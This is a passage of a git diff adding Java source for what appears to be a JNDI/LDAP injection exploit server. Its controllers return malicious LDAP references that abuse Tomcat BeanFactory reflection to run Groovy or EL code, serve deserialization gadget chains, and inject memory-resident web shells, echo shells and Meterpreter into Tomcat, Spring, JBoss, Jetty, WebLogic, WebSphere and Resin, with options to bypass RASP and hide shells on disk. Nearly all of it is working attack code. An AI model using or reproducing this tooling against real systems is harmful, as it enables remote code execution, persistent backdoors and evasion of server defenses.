+ className = insertLinAgent(ctClass);
+ ctClass.writeFile();
+ break;
+ }
+ if (Config.HIDE_MEMORY_SHELL) {
+ switch (Config.HIDE_MEMORY_SHELL_TYPE) {
+ case 1:
+ break;
+ case 2:
+ CtClass newClass = pool.get("com.qi4l.jndi.template.HideMemShellTemplate");
+ newClass.setName(ClassNameUtils.generateClassName());
+ String content = "b64=\"" + Base64.encodeBase64String(ctClass.toBytecode()) + "\";";
+ className = "className=\"" + ctClass.getName() + "\";";
+ newClass.defrost();
+ newClass.makeClassInitializer().insertBefore(content);
+ newClass.makeClassInitializer().insertBefore(className);
+
+ if (Config.IS_INHERIT_ABSTRACT_TRANSLET) {
+ Class abstTranslet = Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet");
+ CtClass superClass = pool.get(abstTranslet.getName());
+ newClass.setSuperclass(superClass);
+ }
+
+ className = newClass.getName();
+ newClass.writeFile();
+ break;
+ }
+ }
+ className = ctClass.getName();
+ ctClass.writeFile();
+ break;
+ }
+
+ URL turl = new URL(new URL(this.codebase), className + ".class");
+ System.out.println(ansi().render("@|green [+]|@ Send LDAP reference result for " + base + " redirecting to" + turl));
+ e.addAttribute("javaClassName", "foo");
+ e.addAttribute("javaCodeBase", this.codebase);
+ e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$
+ if (className.equals("com.feihong.ldap.template.Meterpreter")) {
+ e.addAttribute("javaFactory", "Meterpreter");
+ }
+ e.addAttribute("javaFactory", className);
+ result.sendSearchEntry(e);
+ result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
+ } catch (Throwable er) {
+ System.err.println("Error while generating or serializing payload");
+ er.printStackTrace();
+ }
+
+ }
+
+ /**
+ * 处理传入的参数 base
+ *
+ * @param base 传入的参数
+ * @throws UnSupportedPayloadTypeException 不支持的载荷类型异常
+ * @throws IncorrectParamsException 错误的参数异常
+ */
+ @Override
+ public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException {
+ try {
+ base = base.replace('\\', '/');
+ int fistIndex = base.indexOf("/");
+ int secondIndex = base.indexOf("/", fistIndex + 1);
+ if (secondIndex < 0) secondIndex = base.length();
+
+ try {
+ // 将类型值设为从第一个斜杠后的字符串到第二个斜杠前(不包括第二个斜杠)所表示的字符串转换为 PayloadType 枚举类型
+ payloadType = PayloadType.valueOf(base.substring(fistIndex + 1, secondIndex).toLowerCase());
+ System.out.println(ansi().render("@|green [+]|@ PaylaodType >> " + payloadType));
+ } catch (IllegalArgumentException e) {
+ throw new UnSupportedPayloadTypeException("UnSupportedPayloadType >> " + base.substring(fistIndex + 1, secondIndex));
+ }
+
+ // 获取第三个斜杠的索引
+ int thirdIndex = base.indexOf("/", secondIndex + 1);
+ // 如果第三个斜杠为空,则执行以下语句块
+ if (thirdIndex != -1) {
+ // 如果第三个斜杠小于0,则将其设置为字符串长度
+ if (thirdIndex < 0) thirdIndex = base.length();
+ try {
+ // 将类型值设为从第二个斜杠后的字符串到第三个斜杠前(不包括第三个斜杠)所表示的字符串转换为 GadgetType 枚举类型
+ gadgetType = GadgetType.valueOf(base.substring(secondIndex + 1, thirdIndex).toLowerCase());
+ } catch (IllegalArgumentException e) {
+ throw new UnSupportedPayloadTypeException("UnSupportedPayloadType: " + base.substring(secondIndex + 1, thirdIndex));
+ }
+ }
+
+ // 如果载荷类型为 shell,则执行以下语句块
+ if (gadgetType == GadgetType.shell) {
+ String arg = Util.getCmdFromBase(base);
+ String[] args = arg.split(" ");
+ Options options = new Options();
+ options.addOption("t", "typefggg", false, "选择内存马的类型");
+ options.addOption("a", "AbstractTranslet", false, "是否继承恶意类 AbstractTranslet");
+ options.addOption("o", "obscure", false, "使用反射绕过");
+ options.addOption("w", "winAgent", false, "Windows下使用Agent写入");
+ options.addOption("l", "linAgent", false, "Linux下使用Agent写入");
+ options.addOption("u", "url", true, "内存马绑定的路径,default [/version.txt]");
+ options.addOption("pw", "password", true, "内存马的密码,default [p@ssw0rd]");
+ options.addOption("r", "referer", true, "内存马 Referer check,default [https://nu1r.cn/]");
+ options.addOption("h", "hide-mem-shell", false, "通过将文件写入$JAVA_HOME来隐藏内存shell,目前只支持SpringController");
+ options.addOption("ht", "hide-type", true, "隐藏内存外壳,输入1:write /jre/lib/charsets.jar 2:write /jre/classes/");
+
+ CommandLineParser parser = new DefaultParser();
+
+ try {
+ cmdLine = parser.parse(options, args);
+ } catch (Exception e) {
+ System.out.println("[*] Parameter input error, please use -h for more information");
+ }
+
+ if (cmdLine.hasOption("typefggg")) {
+ Config.Shell_Type = cmdLine.getOptionValue("typefggg");
+ //System.out.println("[+] 内存shell :" + Shell_Type);
+ }
+
+ if (cmdLine.hasOption("winAgent")) {
+ Config.winAgent = true;
+ System.out.println(ansi().fgRgb(188, 232, 105).render("[+] Windows下使用Agent写入"));
+ }
+
+ if (cmdLine.hasOption("linAgent")) {
+ Config.winAgent = true;
+ System.out.println(ansi().fgRgb(188, 232, 105).render("[+] Linux下使用Agent写入"));
+ }
+
+ if (cmdLine.hasOption("obscure")) {
+ Config.IS_OBSCURE = true;
+ System.out.println(ansi().fgRgb(188, 232, 105).render("[+] 使用反射绕过RASP"));
+ }
+
+ if (cmdLine.hasOption("url")) {
+ String url = cmdLine.getOptionValue("url");
+ if (!url.startsWith("/")) {
+ url = "/" + url;
+ }
+ Config.URL_PATTERN = url;
+ System.out.println("[+] Path:" + Config.URL_PATTERN);
+ }
+
+ if (cmdLine.hasOption("password")) {
+ Config.PASSWORD = HexUtils.generatePassword(cmdLine.getOptionValue("password"));
+ System.out.println("[+] Password:" + Config.PASSWORD);
+ }
+
+ if (cmdLine.hasOption("referer")) {
+ Config.HEADER_KEY = cmdLine.getOptionValue("referer");
+ System.out.println("[+] referer:" + Config.HEADER_KEY);
+ }
+
+ if (cmdLine.hasOption("AbstractTranslet")) {
+ Config.IS_INHERIT_ABSTRACT_TRANSLET = true;
+ System.out.println("[+] 继承恶意类AbstractTranslet");
+ }
+
+ if (cmdLine.hasOption("hide-mem-shell")) {
+ Config.HIDE_MEMORY_SHELL = true;
+
+ if (cmdLine.hasOption("hide-type")) {
+ Config.HIDE_MEMORY_SHELL_TYPE = Integer.parseInt(cmdLine.getOptionValue("hide-type"));
+ }
+ }
+ }
+
+ if (gadgetType == GadgetType.base64) {
+ String cmd = Util.getCmdFromBase(base);
+ System.out.println(ansi().render("@|green [+]|@ Command >> " + cmd));
+ params = new String[]{cmd};
+ }
+ } catch (Exception e) {
+ if (e instanceof UnSupportedPayloadTypeException) throw (UnSupportedPayloadTypeException) e;
+
+ throw new IncorrectParamsException("Incorrect params >> " + base);
+ }
+ }
+}
diff --git a/src/main/java/com/qi4l/jndi/controllers/GroovyBypassController.java b/src/main/java/com/qi4l/jndi/controllers/GroovyBypassController.java
new file mode 100644
index 00000000..522edf64
--- /dev/null
+++ b/src/main/java/com/qi4l/jndi/controllers/GroovyBypassController.java
@@ -0,0 +1,80 @@
+package com.qi4l.jndi.controllers;
+
+import com.qi4l.jndi.enumtypes.PayloadType;
+import com.qi4l.jndi.exceptions.IncorrectParamsException;
+import com.qi4l.jndi.exceptions.UnSupportedPayloadTypeException;
+import com.qi4l.jndi.gadgets.utils.Util;
+import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
+import com.unboundid.ldap.sdk.Entry;
+import com.unboundid.ldap.sdk.LDAPResult;
+import com.unboundid.ldap.sdk.ResultCode;
+import org.apache.naming.ResourceRef;
+import javax.naming.StringRefAddr;
+
+import static org.fusesource.jansi.Ansi.ansi;
+
+/*
+ * Requires:
+ * - Tomcat and Groovy in classpath
+ *
+ * @author https://twitter.com/orange_8361 and https://github.com/welk1n
+ *
+ * Groovy 语法参考:
+ * - https://xz.aliyun.com/t/8231#toc-7
+ * - https://my.oschina.net/jjyuangu/blog/1815945
+ * - https://stackoverflow.com/questions/4689240/detecting-the-platform-window-or-linux-by-groovy-grails
+ */
+
+@LdapMapping(uri = { "/groovybypass" })
+public class GroovyBypassController implements LdapController {
+ private PayloadType type;
+ private String[] params;
+ private String template = " if (System.properties['os.name'].toLowerCase().contains('windows')) {\n" +
+ " ['cmd','/C', '${cmd}'].execute();\n" +
+ " } else {\n" +
+ " ['/bin/sh','-c', '${cmd}'].execute();\n" +
+ " }";
+
+ @Override
+ public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception {
+ System.out.println( ansi().render("@|green [+]|@ @|MAGENTA Sending LDAP ResourceRef result for |@" + base + " @|MAGENTA with groovy.lang.GroovyShell payload|@"));
+
+ Entry e = new Entry(base);
+ e.addAttribute("javaClassName", "java.lang.String"); //could be any
+
+ //prepare payload that exploits unsafe reflection in org.apache.naming.factory.BeanFactory
+ ResourceRef ref = new ResourceRef("groovy.lang.GroovyShell", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
+ ref.add(new StringRefAddr("forceString", "x=evaluate"));
+ ref.add(new StringRefAddr("x", template.replace("${cmd}", params[0]).replace("${cmd}", params[0])));
+
+ e.addAttribute("javaSerializedData", Util.serialize(ref));
+
+ result.sendSearchEntry(e);
+ result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
+ }
+
+ @Override
+ public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException {
+ try{
+ int firstIndex = base.indexOf("/");
+ int secondIndex = base.indexOf("/", firstIndex + 1);
+ if(secondIndex < 0) secondIndex = base.length();
+
+ String payloadType = base.substring(firstIndex + 1, secondIndex);
+ if(payloadType.equalsIgnoreCase("command")){
+ type = PayloadType.valueOf("command");
+ System.out.println( ansi().render("@|green [+]|@ @|MAGENTA Paylaod >> |@" + type));
+ }else{
+ throw new UnSupportedPayloadTypeException("UnSupportedPayloadType >> " + payloadType);
+ }
+
+ String cmd = Util.getCmdFromBase(base);
+ System.out.println( ansi().render("@|green [+]|@ @|MAGENTA Command >> |@" + cmd));
+ params = new String[]{cmd};
+ }catch(Exception e){
+ if(e instanceof UnSupportedPayloadTypeException) throw (UnSupportedPayloadTypeException)e;
+
+ throw new IncorrectParamsException("Incorrect params >> " + base);
+ }
+ }
+}
\ No newline at end of file
diff --git a/src/main/java/com/qi4l/jndi/controllers/LdapController.java b/src/main/java/com/qi4l/jndi/controllers/LdapController.java
new file mode 100644
index 00000000..3ade1cde
--- /dev/null
+++ b/src/main/java/com/qi4l/jndi/controllers/LdapController.java
@@ -0,0 +1,12 @@
+package com.qi4l.jndi.controllers;
+
+import com.qi4l.jndi.exceptions.IncorrectParamsException;
+import com.qi4l.jndi.exceptions.UnSupportedActionTypeException;
+import com.qi4l.jndi.exceptions.UnSupportedGadgetTypeException;
+import com.qi4l.jndi.exceptions.UnSupportedPayloadTypeException;
+import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
+
+public interface LdapController {
+ void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception;
+ void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException, UnSupportedGadgetTypeException, UnSupportedActionTypeException;
+}
diff --git a/src/main/java/com/qi4l/jndi/controllers/LdapMapping.java b/src/main/java/com/qi4l/jndi/controllers/LdapMapping.java
new file mode 100644
index 00000000..60965522
--- /dev/null
+++ b/src/main/java/com/qi4l/jndi/controllers/LdapMapping.java
@@ -0,0 +1,12 @@
+package com.qi4l.jndi.controllers;
+
+import java.lang.annotation.ElementType;
+import java.lang.annotation.Retention;
+import java.lang.annotation.RetentionPolicy;
+import java.lang.annotation.Target;
+
+@Retention(RetentionPolicy.RUNTIME)
+@Target(ElementType.TYPE)
+public @interface LdapMapping {
+ String[] uri();
+}
diff --git a/src/main/java/com/qi4l/jndi/controllers/PropertiesRefAddr.java b/src/main/java/com/qi4l/jndi/controllers/PropertiesRefAddr.java
new file mode 100644
index 00000000..3dcd1d21
--- /dev/null
+++ b/src/main/java/com/qi4l/jndi/controllers/PropertiesRefAddr.java
@@ -0,0 +1,19 @@
+package com.qi4l.jndi.controllers;
+
+import javax.naming.RefAddr;
+import java.util.Properties;
+
+//this is a stub class required by WebSphere2 ldap handler
+public class PropertiesRefAddr extends RefAddr {
+ private static final long serialVersionUID = 288055886942232156L;
+ private Properties props;
+
+ public PropertiesRefAddr(String addrType, Properties props) {
+ super(addrType);
+ this.props = props;
+ }
+
+ public Object getContent() {
+ return this.props;
+ }
+}
\ No newline at end of file
diff --git a/src/main/java/com/qi4l/jndi/controllers/SerializedDataController.java b/src/main/java/com/qi4l/jndi/controllers/SerializedDataController.java
new file mode 100644
index 00000000..5ddd276d
--- /dev/null
+++ b/src/main/java/com/qi4l/jndi/controllers/SerializedDataController.java
@@ -0,0 +1,166 @@
+package com.qi4l.jndi.controllers;
+
+import com.qi4l.jndi.controllers.utils.AESUtils;
+import com.qi4l.jndi.enumtypes.PayloadType;
+import com.qi4l.jndi.exceptions.IncorrectParamsException;
+import com.qi4l.jndi.exceptions.UnSupportedGadgetTypeException;
+import com.qi4l.jndi.exceptions.UnSupportedPayloadTypeException;
+import com.qi4l.jndi.gadgets.ObjectPayload;
+import com.qi4l.jndi.gadgets.utils.Serializer;
+import com.qi4l.jndi.gadgets.utils.Util;
+import com.qi4l.jndi.gadgets.Config.Config;
+import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
+import com.unboundid.ldap.sdk.Entry;
+import com.unboundid.ldap.sdk.LDAPResult;
+import com.unboundid.ldap.sdk.ResultCode;
+import org.apache.commons.cli.CommandLine;
+import org.apache.commons.cli.CommandLineParser;
+import org.apache.commons.cli.DefaultParser;
+import org.apache.commons.cli.Options;
+
+import java.io.ByteArrayOutputStream;
+
+import static com.qi4l.jndi.gadgets.Config.Config.AESkey;
+import static com.qi4l.jndi.gadgets.Config.Config.BCEL1;
+import static com.qi4l.jndi.gadgets.utils.Utils.base64Decode;
+import static org.fusesource.jansi.Ansi.ansi;
+
+@LdapMapping(uri = {"/deserialization"})
+public class SerializedDataController implements LdapController {
+ public static String gadgetType;
+ private PayloadType payloadType;
+ private String[] params;
+ public static CommandLine cmdLine;
+ private static final int USAGE_CODE = 64;
+
+ /**
+ * 发送LDAP结果和重定向URL
+ *
+ * @param result InMemoryInterceptedSearchResult类型的结果
+ * @param base 基本远程参考负载字符串
+ * @throws Exception 异常
+ */
+ @Override
+ public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception {
+ System.out.println(ansi().render("@|green [+]|@Send LDAP result for" + base + " with javaSerializedData attribute"));
+ Entry e = new Entry(base);
+
+ byte[] bytes;
+
+ try {
+ // 获取与载荷类型相关的有效负载类
+ final Class extends ObjectPayload> payloadClass = ObjectPayload.Utils.getPayloadClass(String.valueOf(gadgetType));
+ // 实例化有效负载对象
+ ObjectPayload payload = payloadClass.newInstance();
+ // 获取有效负载的对象
+ Object object = payload.getObject(payloadType, params);
+
+ if (SerializedDataController.gadgetType.equals("JRE8u20")) {
+ bytes = (byte[]) object;
+ } else {
+ ByteArrayOutputStream out = new ByteArrayOutputStream();
+ bytes = Serializer.serialize(object, out);
+ }
+
+ // 设置Java类名属性和Java序列化数据属性,并将搜索条目发送至结果中
+ e.addAttribute("javaClassName", "foo");
+ e.addAttribute("javaSerializedData", bytes);
+ result.sendSearchEntry(e);
+ result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
+ } catch (Throwable er) {
+ // 如果生成或序列化有效负载时出现错误,则打印错误信息和堆栈跟踪
+ System.err.println("Error while generating or serializing payload");
+ er.printStackTrace();
+ }
+ }
+
+ /**
+ * 处理传入的参数 base
+ *
+ * @param base 传入的参数
+ * @throws UnSupportedPayloadTypeException 不支持的载荷类型异常
+ * @throws IncorrectParamsException 错误的参数异常
+ * @throws UnSupportedGadgetTypeException 不支持的 Gadget 类型异常
+ */
+ @Override
+ public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException, UnSupportedGadgetTypeException {
+ try {
+ base = base.replace('\\', '/');
+ // 获取第一个斜杠的索引
+ int firstIndex = base.indexOf("/");
+ // 获取第二个斜杠的索引
+ int secondIndex = base.indexOf("/", firstIndex + 1);
+ try {
+ // 将类型值设为从第一个斜杠后的字符串到第二个斜杠前(不包括第二个斜杠)所表示的字符串
+ gadgetType = base.substring(firstIndex + 1, secondIndex);
+ System.out.println("[+] GaddgetType >> " + gadgetType);
+ } catch (IllegalArgumentException e) {
+ throw new UnSupportedGadgetTypeException("UnSupportGaddgetType >> " + base.substring(firstIndex + 1, secondIndex));
+ }
+
+ // 获取第三个斜杠的索引
+ int thirdIndex = base.indexOf("/", secondIndex + 1);
+ // 若第三个斜杠不存在,则把其设置成为字符串的长度
+ if (thirdIndex < 0) thirdIndex = base.length();
+ try {
+ // 将类型值设为从第二个斜杠后的字符串到第三个斜杠前(不包括第三个斜杠)所表示的字符串转换为 PayloadType 枚举类型
+ payloadType = PayloadType.valueOf(base.substring(secondIndex + 1, thirdIndex));
+ //System.out.println("[+] PayloadType >> " + payloadType);
+ } catch (IllegalArgumentException e) {
+ throw new UnSupportedPayloadTypeException("UnSupportedPayloadType: " + base.substring(secondIndex + 1, thirdIndex));
+ }
+
+ if (payloadType == PayloadType.sethttp) {
+ params = new String[]{BCEL1};
+ System.out.println("[+] command:" + BCEL1);
+ }
+
+ // 如果载荷类型为 nu1r,则执行以下语句块
+ if (payloadType == PayloadType.command) {
+ String cmd11 = Util.getCmdFromBase(base);
+ if (cmd11.contains("#")) {
+ String[] cmd11s = cmd11.split("#");
+ String[] cmd12s = cmd11s[1].split(" ");
+ Options options = new Options();
+ options.addOption("a", "AbstractTranslet", false, "恶意类是否继承 AbstractTranslet");
+ options.addOption("o", "obscure", false, "使用反射绕过");
+ options.addOption("j", "jboss", false, "Using JBoss ObjectInputStream/ObjectOutputStream");
+ CommandLineParser parser = new DefaultParser();
+
+ try {
+ cmdLine = parser.parse(options, cmd12s);
+ } catch (Exception e) {
+ System.out.println("[*] Parameter input error, please use -h for more information");
+ }
+
+ params = new String[]{cmd11s[0]};
+ System.out.println("[+] command:" + cmd11s[0]);
+
+ if (cmdLine.hasOption("obscure")) {
+ Config.IS_OBSCURE = true;
+ System.out.println(ansi().render("@|green [+]|@ 使用反射绕过RASP "));
+ }
+
+ if (cmdLine.hasOption("AbstractTranslet")) {
+ Config.IS_INHERIT_ABSTRACT_TRANSLET = true;
+ System.out.println("[+] 继承恶意类AbstractTranslet");
+ }
+
+ if (cmdLine.hasOption("jboss")) {
+ Config.IS_JBOSS_OBJECT_INPUT_STREAM = true;
+ }
+ } else {
+ params = new String[]{cmd11};
+ System.out.println("[+] command:" + cmd11);
+ }
+
+ }
+
+ } catch (Exception e) {
+ if (e instanceof UnSupportedPayloadTypeException) throw (UnSupportedPayloadTypeException) e;
+ if (e instanceof UnSupportedGadgetTypeException) throw (UnSupportedGadgetTypeException) e;
+
+ throw new IncorrectParamsException("Incorrect params >> " + base);
+ }
+ }
+}
diff --git a/src/main/java/com/qi4l/jndi/controllers/TomcatBypassController.java b/src/main/java/com/qi4l/jndi/controllers/TomcatBypassController.java
new file mode 100644
index 00000000..7eeb132f
--- /dev/null
+++ b/src/main/java/com/qi4l/jndi/controllers/TomcatBypassController.java
@@ -0,0 +1,650 @@
+package com.qi4l.jndi.controllers;
+
+import com.qi4l.jndi.enumtypes.GadgetType;
+import com.qi4l.jndi.enumtypes.PayloadType;
+import com.qi4l.jndi.exceptions.IncorrectParamsException;
+import com.qi4l.jndi.exceptions.UnSupportedGadgetTypeException;
+import com.qi4l.jndi.exceptions.UnSupportedPayloadTypeException;
+import com.qi4l.jndi.gadgets.utils.InjShell;
+import com.qi4l.jndi.template.*;
+import com.qi4l.jndi.template.Agent.WinMenshell;
+import com.qi4l.jndi.template.memshell.BypassNginxCDN.cmsMSBYNC;
+import com.qi4l.jndi.template.memshell.BypassNginxCDN.proxyMSBYNC;
+import com.qi4l.jndi.template.memshell.Tomcat_Spring_Jetty.MsTSJproxy;
+import com.qi4l.jndi.template.memshell.Tomcat_Spring_Jetty.MsTSJser;
+import com.qi4l.jndi.template.memshell.Websphere.WSFMSFromThread;
+import com.qi4l.jndi.template.memshell.Websphere.WSWebsphereProxy;
+import com.qi4l.jndi.template.memshell.Websphere.websphereEcho;
+import com.qi4l.jndi.template.echo.*;
+import com.qi4l.jndi.template.memshell.jboss.JBFMSFromContextF;
+import com.qi4l.jndi.template.memshell.jboss.JBSMSFromContextS;
+import com.qi4l.jndi.template.echo.JbossEcho;
+import com.qi4l.jndi.template.memshell.jetty.JFMSFromJMXF;
+import com.qi4l.jndi.template.memshell.jetty.JSMSFromJMXS;
+import com.qi4l.jndi.template.echo.jettyEcho;
+import com.qi4l.jndi.template.memshell.resin.RFMSFromThreadF;
+import com.qi4l.jndi.template.memshell.resin.RSMSFromThreadS;
+import com.qi4l.jndi.template.echo.resinEcho;
+import com.qi4l.jndi.template.memshell.resin.WsResin;
+import com.qi4l.jndi.template.memshell.spring.SpringControllerMS;
+import com.qi4l.jndi.template.memshell.spring.SpringInterceptorMS;
+import com.qi4l.jndi.gadgets.Config.Config;
+import com.qi4l.jndi.gadgets.utils.Util;
+import com.qi4l.jndi.template.echo.weblogicEcho;
+import com.qi4l.jndi.gadgets.utils.ClassNameUtils;
+import com.qi4l.jndi.gadgets.utils.HexUtils;
+import com.qi4l.jndi.template.memshell.struts2.Struts2ActionMS;
+import com.qi4l.jndi.template.memshell.tomcat.*;
+import com.qi4l.jndi.template.memshell.weblogic.WsWeblogic;
+import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
+import com.unboundid.ldap.sdk.Entry;
+import com.unboundid.ldap.sdk.LDAPResult;
+import com.unboundid.ldap.sdk.ResultCode;
+import javassist.ClassClassPath;
+import javassist.ClassPool;
+import javassist.CtClass;
+import org.apache.commons.cli.CommandLine;
+import org.apache.commons.cli.CommandLineParser;
+import org.apache.commons.cli.DefaultParser;
+import org.apache.commons.cli.Options;
+import org.apache.commons.codec.binary.Base64;
+import org.apache.naming.ResourceRef;
+
+import javax.naming.StringRefAddr;
+
+import java.io.IOException;
+import java.lang.reflect.Field;
+
+import static org.fusesource.jansi.Ansi.ansi;
+
+
+@LdapMapping(uri = {"/tomcatbypass"})
+public class TomcatBypassController implements LdapController {
+ private PayloadType payloadType;
+ private String[] params;
+ private GadgetType gadgetType;
+
+ public static CommandLine cmdLine;
+
+ /**
+ * 发送LDAP ResourceRef结果和重定向URL
+ *
+ * @param result InMemoryInterceptedSearchResult类型的结果
+ * @param base 基本远程参考负载字符串
+ * @throws Exception 异常
+ */
+ @Override
+ public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception {
+ try {
+ System.out.println(ansi().render("@|green [+]|@ Sending LDAP ResourceRef result for" + base + " with javax.el.ELProcessor payload"));
+ Entry e = new Entry(base);
+ e.addAttribute("javaClassName", "java.lang.String"); //could be any
+ //准备在 org.apache.naming.factory.BeanFactory 中利用不安全反射的负载
+ //prepare payload that exploits unsafe reflection in org.apache.naming.factory.BeanFactory
+ ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true, "org.apache.naming.factory.BeanFactory", null);
+ ref.add(new StringRefAddr("forceString", "x=eval"));
+
+ TomcatBypassHelper helper = new TomcatBypassHelper();
+ String code = null;
+
+
+ //具体分化在这里
+ switch (payloadType) {
+ case command:
+ code = helper.getExecCode(params[0]);
+ break;
+ case tomcatecho:
+ code = helper.injectTomcatEcho();
+ break;
+ case springecho:
+ code = helper.injectSpringEcho();
+ break;
+ case weblogicecho:
+ code = helper.injectWeblogicEcho();
+ break;
+ case websphereecho:
+ code = helper.injectWebsphereEcho();
+ break;
+ case resinecho:
+ code = helper.injectResinEcho();
+ break;
+ case windowsecho:
+ code = helper.injectWindowsEcho();
+ break;
+ case linuxecho1:
+ code = helper.injectLinuxEcho1();
+ break;
+ case linuxecho2:
+ code = helper.injectLinuxEcho2();
+ break;
+ case jettyecho:
+ code = helper.injectJettyEcho();
+ break;
+ case issuccess:
+ code = helper.injectSuccess();
+ break;
+ case meterpreter:
+ code = helper.injectMeterpreter();
+ break;
+ case tomcatfilterjmx:
+ code = helper.injectTomcatFilterJmx();
+ break;
+ case tomcatfilterth:
+ code = helper.injectTomcatFilterTh();
+ break;
+ case tomcatlistenerjmx:
+ code = helper.injectTomcatListenerJmx();
+ break;
+ case struts2actionms:
+ code = helper.injectStruts2ActionMS();
+ break;
+ case tomcatlistenerth:
+ code = helper.injectTomcatListenerTh();
+ break;
+ case tomcatservletjmx:
+ code = helper.injectTomcatServletJmx();
+ break;
+ case tomcatservletth:
+ code = helper.injectTomcatServletTh();
+ break;
+ case jbossfilter:
+ code = helper.injectJBossFilter();
+ break;
+ case jbossservlet:
+ code = helper.injectJBossServlet();
+ break;
+ case springinterceptor:
+ code = helper.injectSpringInterceptor();
+ break;
+ case springcontroller:
+ code = helper.injectSpringControllerMS();
+ break;
+ case wsfilter:
+ code = helper.injectWSFilter();
+ break;
+ case jettyfilter:
+ code = helper.injectJettyFilter();
+ break;
+ case jettyservlet:
+ code = helper.injectJettyServlet();
+ break;
+ case tomcatexecutor:
+ code = helper.injectTomcatExecutor();
+ break;
+ case resinfilterth:
+ code = helper.injectResinFilterTh();
+ break;
+ case resinservletth:
+ code = helper.injectResinServletTh();
+ break;
+ case tomcatupgrade:
+ code = helper.injectTomcatUpgrade();
+ break;
+ case jbossecho:
+ code = helper.injectJbossEcho();
+ break;
+ case allecho:
+ code = helper.injectAllEcho();
+ break;
+ case cmsmsbync:
+ code = helper.injectcmsMSBYNC();
+ break;
+ case proxymsbync:
+ code = helper.injectproxyMSBYNC();
+ break;
+ case wsresin:
+ code = helper.injectWsResin();
+ break;
+ case mstsjser:
+ code = helper.injectMsTSJser();
+ break;
+ case mstsjproxy:
+ code = helper.injectMsTSJproxy();
+ break;
+ case wsweblogic:
+ code = helper.injectWsWeblogic();
+ break;
+ case wswebsphereproxy:
+ code = helper.injectWSWebsphereProxy();
+ break;
+ }
+ String payloadTemplate = "{" +
+ "\"\".getClass().forName(\"javax.script.ScriptEngineManager\")" +
+ ".newInstance().getEngineByName(\"JavaScript\")" +
+ ".eval(\"{replacement}\")" +
+ "}";
+ String finalPayload = payloadTemplate.replace("{replacement}", code);
+ ref.add(new StringRefAddr("x", finalPayload));
+ e.addAttribute("javaSerializedData", Util.serialize(ref));
+ // 将条目发送至结果中,并将结果设置为成功
+ result.sendSearchEntry(e);
+ result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
+ } catch (Throwable er) {
+ System.err.println("Error while generating or serializing payload");
+ er.printStackTrace();
+ }
+ }
+
+ /**
+ * 处理传入的参数 base
+ *
+ * @param base 传入的参数
+ * @throws UnSupportedPayloadTypeException 不支持的载荷类型异常
+ * @throws IncorrectParamsException 错误的参数异常
+ * @throws UnSupportedGadgetTypeException 不支持的 Gadget 类型异常
+ */
+ @Override
+ public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException {
+ try {
+ base = base.replace('\\', '/');
+ // 获取第一个斜杠的索引
+ int fistIndex = base.indexOf("/");
+ // 获取第二个斜杠的索引
+ int secondIndex = base.indexOf("/", fistIndex + 1);
+ if (secondIndex < 0) secondIndex = base.length();
+
+ try {
+ // 将类型值设为从第二个斜杠后的字符串到第三个斜杠前(不包括第三个斜杠)所表示的字符串转换为 PayloadType 枚举类型
+ payloadType = PayloadType.valueOf(base.substring(fistIndex + 1, secondIndex).toLowerCase());
+ System.out.println(ansi().render("@|green [+]|@ PaylaodType >> " + payloadType));
+ } catch (IllegalArgumentException e) {
+ throw new UnSupportedPayloadTypeException("UnSupportedPayloadType >> " + base.substring(fistIndex + 1, secondIndex));
+ }
+ // 将类型值设为从第三个斜杠后的字符串到第四个斜杠前(不包括第三个斜杠)所表示的字符串转换为 PayloadType 枚举类型
+ int thirdIndex = base.indexOf("/", secondIndex + 1);
+ // 如果为空则进入下面逻辑
+ if (thirdIndex != -1) {
+ if (thirdIndex < 0) thirdIndex = base.length();
+ try {
+ gadgetType = GadgetType.valueOf(base.substring(secondIndex + 1, thirdIndex).toLowerCase());
+ } catch (IllegalArgumentException e) {
+ throw new UnSupportedPayloadTypeException("UnSupportedPayloadType: " + base.substring(secondIndex + 1, thirdIndex));
+ }
+ }
+
+ if (gadgetType == GadgetType.shell) {
+ String arg = Util.getCmdFromBase(base);
+ String[] args = arg.split(" ");
+ Options options = new Options();
+ options.addOption("t", "Type", false, "选择内存马的类型");
+ options.addOption("a", "AbstractTranslet", false, "恶意类是否继承 AbstractTranslet");
+ options.addOption("o", "obscure", false, "使用反射绕过");
+ options.addOption("w", "winAgent", false, "Windows下使用Agent写入");
+ options.addOption("l", "linAgent", false, "Linux下使用Agent写入");
+ options.addOption("u", "url", true, "内存马绑定的路径,default [/version.txt]");
+ options.addOption("pw", "password", true, "内存马的密码,default [p@ssw0rd]");
+ options.addOption("r", "referer", true, "内存马 Referer check,default [https://nu1r.cn/]");
+ options.addOption("h", "hide-mem-shell", false, "通过将文件写入$JAVA_HOME来隐藏内存shell,目前只支持SpringControllerMS");
+ options.addOption("ht", "hide-type", true, "隐藏内存外壳,输入1:write /jre/lib/charsets.jar 2:write /jre/classes/");
+
+ CommandLineParser parser = new DefaultParser();
+
+ try {
+ cmdLine = parser.parse(options, args);
+ } catch (Exception e) {
+ System.out.println("[*] Parameter input error, please use -h for more information");
+ }
+
+ if (cmdLine.hasOption("Type")) {
+ Config.Shell_Type = cmdLine.getOptionValue("Type");
+ //System.out.println("内存shell >>" + Shell_Type);
+ }
+
+ if (cmdLine.hasOption("winAgent")) {
+ Config.winAgent = true;
+ System.out.println(ansi().render("@|green [+]|@Windows下使用Agent写入"));
+ }
+
+ if (cmdLine.hasOption("linAgent")) {
+ Config.winAgent = true;
+ System.out.println(ansi().render("@|green [+]|@Linux下使用Agent写入"));
+ }
